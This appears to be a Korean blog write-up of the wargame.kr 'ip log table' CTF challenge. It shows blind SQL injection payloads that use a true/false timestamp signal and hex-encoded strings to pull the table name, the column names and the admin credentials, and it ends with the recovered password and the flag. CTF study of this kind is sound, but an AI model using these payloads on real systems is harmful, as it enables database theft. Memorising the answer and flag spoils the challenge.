CTF | wargame

wargame.kr / ip log table (blind sql injection)

nopdata 2017. 3. 27. 12:29


그냥 돌다가 wargame.kr 문제나 하나 풀어볼까 하고 들어왔다가 쉬워보여서 푼 문제.
블라인드 스크립트는 하나 짜놔야 할 것 같다.



문제 페이지는 위처럼 구성된다. 저기서 접속을 할 때마다 log가 찍히며 클릭을 하면 check.php로 idx를 파라미터로 넘기면서 시간을 반환받는다.
admin login에서는 id, pw를 입력받고 로그인을 하도록 한다.

이 문제의 경우, idx를 파라미터로 넘겨, ip의 접속기록을 확인해주는 check.php에서 취약점이 발생한다.
idx를 기준으로 테이블에서 조회가 될 경우, 접속기록을 반환하지만, 조회가 안되는 거짓인 데이터의 경우, 1970 ~의 시간을 반환한다. 이 것을 가지고 참, 거짓을 판별하면 된다.

먼저 테이블 명을 따야 하는데 본래 기본적인 테이블 따는 방법은 다음과 같다.

idx = 1 or ascii(substr((select table_name from information_schema.columns where tabe_type='base type' limit 0,1),1,1)) > 1

하지만 풀 때는 테이블의 컬럼 명에 idx가 존재할 것이라는 가정 하에 진행을 했다.

idx = 1 or ascii(substr((select table_name from information_schema.columns where column_name=0x696478 limit 0,1),1,1)) > 1
0x696478은 idx이다. 싱글, 더블쿼터 사용이 불가능 하기 때문에 hex값으로 넣어준다.
위 방법으로 바로 테이블 명을 획득했다. 테이블 명은 'admin_table'

다음으로 컬럼 명을 딴 방법

idx = 1 or ascii(substr((select column_name from information_schema.columns where table_name=0x61646d696e5f7461626c65 limit 0,1),1,1)) > 1

컬럼은 id, ps가 존재한다.

순서대로 id, ps를 따는 쿼리는 다음과 같다.

idx = 1 or ascii(substr((select id from admin_table limit 0,1),1,1)) > 1
idx = 1 or ascii(substr((select ps from admin_table where id = 'blue_admin' limit 0,1),1,1) > 1

id = blue_admin / ps = 0h~myp4ss!

flag : 7a90eaf8322b70cc6433e82363aefc365605fd1